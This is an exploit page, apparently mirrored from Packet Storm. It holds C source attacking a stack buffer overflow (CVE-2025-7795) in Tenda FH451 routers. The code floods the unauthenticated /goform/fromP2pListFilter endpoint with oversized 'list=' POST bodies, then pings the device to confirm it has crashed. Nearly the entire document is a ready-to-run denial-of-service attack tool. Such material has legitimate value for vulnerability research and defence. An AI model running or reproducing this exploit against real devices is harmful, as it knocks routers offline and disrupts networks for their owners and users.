Sploitus

Exploit for πŸ“„ Tenda FH451 1.0.0.9 Buffer Overflow

packetstorm Β· 2025-07-22

Exploit Code

c382 lines
## https://sploitus.com/exploit?id=PACKETSTORM:207360
/*
     * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
     * Author        : Byte Reaper
     * Telegram      : @ByteReaper0
     * CVE           : CVE-2025-7795
     * Vulnerability : Buffer Overflow
     * Description   :
     *   A buffer overflow vulnerability affecting certain Tenda routers,
     *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
     */
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include "argparse.h"
    #include <arpa/inet.h>
    #include <stdlib.h>
    #include <curl/curl.h>
    #include <sys/wait.h>
    
    #define FULL_URL 2500
    #define POST_DATA 10000
    
    const char *targetUrl = NULL;
    const char *targetip = NULL;
    int selectIp  = 0;
    int selectUrl  = 0;
    int verbose = 0;
    int showOne = 0;
    char postData[POST_DATA];
    
    struct Mem
    {
        char *buffer;
        size_t len;
    };
    
    size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
    {
        size_t total = size * nmemb;
        struct Mem *m = (struct Mem *)userdata;
        char *tmp = realloc(m->buffer, m->len + total + 1);
        if (!tmp) return 0;
        m->buffer = tmp;
        memcpy(&(m->buffer[m->len]), ptr, total);
        m->len += total;
        m->buffer[m->len] = '\0';
        return total;
    }
    
    void pingPacket()
    {
        int pid = fork();
        printf("\n============================================== [Ping] ==============================================\n");
        if (pid < 0)
        {
            perror("\e[1;31m[-] Fork Failed!\e[0m");
            exit(1);
        }
        if (pid == 0)
        {
            printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
                   getpid());
            char *const argv[] = { "/bin/ping",
                "-c",
                "3",
                (char *)targetip,
                NULL };
                char *const envp[] = { NULL };
                __asm__ volatile
                (
                    "mov $59, %%rax\n\t"
                    "mov %[prog], %%rdi\n\t"
                    "mov %[argv], %%rsi\n\t"
                    "mov %[envp], %%rdx\n\t"
                    "syscall\n\t"
                    "mov $60, %%rax\n\t"
                    "xor %%rdi, %%rdi\n\t"
                    "syscall\n\t"
                    :
                    : [prog] "r" (argv[0]),
                 [argv] "r" (argv),
                 [envp] "r" (envp)
                 : "rax", "rdi", "rsi", "rdx"
                );
        }
        else
        {
            printf("\e[1;32m[+] Main PID : %d\e[0m\n",
                   getpid());
            int status;
            waitpid(pid,
                    &status,
                    0);
            if (WIFEXITED(status))
            {
                int code = WEXITSTATUS(status);
                printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
                       code);
                if (code == 0)
                {
                    printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
                    printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
                }
                else
                {
                    printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
                    printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
                }
            }
        }
        printf("\n============================================================================================\e[0m\n");
    }
    
    void sendRequest()
    {
        CURL *c = curl_easy_init();
        CURLcode res;
        char full[FULL_URL];
        struct Mem response = {NULL, 0};
        if (!c) {
            printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
            exit(EXIT_FAILURE);
        }
        if (targetip) selectIp = 1;
        if (targetUrl) selectUrl = 1;
        if (selectIp)
        {
            snprintf(full,
                     sizeof(full),
                     "http://%s/goform/fromP2pListFilter",
                     targetip);
        }
        if (selectUrl)
        {
            snprintf(full,
                     sizeof(full),
                     "%s/goform/fromP2pListFilter",
                     targetUrl);
        }
        int rounds = 5;
        int baseLen = 3500, step = 1000;
        showOne = 1;
        for (int i = 0; i < rounds; i++)
        {
            int len = baseLen + i * step;
            if (len + 6 >= sizeof(postData)) break;
            snprintf(postData, sizeof(postData), "list=");
            memset(postData + 5, 'A', len);
            postData[5 + len] = '\0';
            printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
                   i+1,
                   i+1,
                   len);
            if (verbose)
            {
                printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
                printf("%s\e[0m\n\n", postData);
                printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
            }
    
            curl_easy_reset(c);
            curl_easy_setopt(c,
                             CURLOPT_URL,
                             full);
            curl_easy_setopt(c,
                             CURLOPT_ACCEPT_ENCODING,
                             "");
            curl_easy_setopt(c,
                             CURLOPT_FOLLOWLOCATION,
                             1L);
            curl_easy_setopt(c,
                             CURLOPT_POST,
                             1L);
            curl_easy_setopt(c,
                             CURLOPT_POSTFIELDS,
                             postData);
            curl_easy_setopt(c,
                             CURLOPT_POSTFIELDSIZE,
                             (long)strlen(postData));
            curl_easy_setopt(c,
                             CURLOPT_WRITEFUNCTION,
                             write_cb);
            curl_easy_setopt(c,
                             CURLOPT_WRITEDATA,
                             &response);
            curl_easy_setopt(c,
                             CURLOPT_CONNECTTIMEOUT,
                             5L);
            curl_easy_setopt(c,
                             CURLOPT_TIMEOUT,
                             10L);
            curl_easy_setopt(c,
                             CURLOPT_SSL_VERIFYPEER,
                             0L);
            curl_easy_setopt(c,
                             CURLOPT_SSL_VERIFYHOST,
                             0L);
            struct curl_slist *h = NULL;
            h = curl_slist_append(h,
                                  "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            h = curl_slist_append(h,
                                  "Accept-Encoding: gzip, deflate, br");
            h = curl_slist_append(h,
                                  "Accept-Language: en-US,en;q=0.5");
            h = curl_slist_append(h,
                                  "Connection: keep-alive");
            h = curl_slist_append(h,
                                  "Referer: http://example.com");
            h = curl_slist_append(h,
                                  "Cache-Control: no-cache");
            h = curl_slist_append(h,
                                  "Pragma: no-cache");
            curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
            if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);
    
            char *encode1 = curl_easy_escape(c, full, 0);
            if (!encode1)
            {
                printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
                exit(EXIT_FAILURE);
            }
            if (verbose && showOne)
            {
                printf("\e[1;37m=========================================");
                if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                    targetUrl,
                    encode1,
                    full);
                if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                    targetip,
                    full);
                printf("=========================================");
                showOne = 0;
            }
            res = curl_easy_perform(c);
            curl_slist_free_all(h);
            curl_free(encode1);
            if (response.buffer)
            {
                free(response.buffer);
                response.buffer = NULL;
                response.len = 0;
            }
            if (res == CURLE_OK)
            {
                long httpCode = 0;
                printf("\e[1;36m[+] Request sent successfully\e[0m\n");
                curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
                                  &httpCode);
                printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
                       httpCode);
                if (httpCode >= 200 && httpCode < 300)
                {
                    printf("\e[1;31m[-] The server was not affected, still working !\n");
                    printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
                    printf("%s\e[0m\n",
                           response.buffer);
                    printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
                }
                else
                {
                    printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
                    printf("[+] Run Command Ping For Check Connection : \e[0m\n");
                    if (selectIp) pingPacket();
                    else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
                }
            }
            else
            {
                printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
                printf("[-] Error : %s\n", curl_easy_strerror(res));
            }
        }
        free(response.buffer);
        curl_easy_cleanup(c);
    }
    
    int main(int argc,
             const char **argv)
    {
        printf(
            "\e[1;31m"
            "β–„β––β––β––β–„β––  β–„β––β–„β––β–„β––β–„β––  β–„β––β–„β––β–„β––β–„β–– \n"
            "β–Œ β–Œβ–Œβ–™β––β–„β––β–„β–Œβ–›β–Œβ–„β–Œβ–™β––β–„β–– β–Œ β–Œβ–™β–Œβ–™β–– \n"
            "β–™β––β–šβ–˜β–™β––  β–™β––β–ˆβ–Œβ–™β––β–„β–Œ   β–Œ β–Œβ–„β–Œβ–„β–Œ \n"
            "              \e[1;37mByte Reaper\e[0m\n"
        );
        printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
        if (getuid() != 0)
        {
            printf("===================================================\e[0m\n");
            printf("[-] Not running as root. Trying with sudo...\e[0m\n");
    
            char *args[] = {(char*)"sudo",
                (char*)"./exploit",
                NULL};
                execvp("sudo", args);
    
                perror("[-] Error Run Exploit in Root !");
                __asm__ volatile
                (
                    "mov $0x3C, %%rax\n\t"
                    "xor %%rdi, %%rdi\n\t"
                    "syscall\n\t"
                    :
                    :
                    : "rdi"
                );
        }
        printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
        printf("===================================================\e[0m\n");
    
        struct argparse_option options[] =
        {
            OPT_HELP(),
            OPT_STRING('i',
                      "ip",
                       &targetip,
                       "Enter Target IP"),
            OPT_STRING('u',
                        "url",
                        &targetUrl,
                        "Enter Target URL"),
            OPT_BOOLEAN('v',
                        "verbose",
                        &verbose,
                        "Verbose Mode"),
            OPT_END(),
        };
    
        struct argparse argparse;
        argparse_init(&argparse,
                      options,
                      NULL,
                      0);
        argparse_parse(&argparse,
                       argc,
                       argv);
    
        if (!targetip && !targetUrl)
        {
            printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
            printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
            printf("[+] OR \n");
            printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
            __asm__ volatile(
                "xor %%rdi, %%rdi\n\t"
                "mov $0x3C, %%rax\n\t"
                "1:\n\t"
                "syscall\n\t"
                :
                :
                : "rax", "rdi", "rsi"
            );
        }
        if (targetip && targetUrl)
        {
            printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
            __asm__ volatile
            (
                "mov $0x3C, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                :
                :"rdi"
            );
        }
        if (selectIp)
        {
            sendRequest();
        }
        else
        {
            sendRequest();
        }
    
    
        return 0;
    }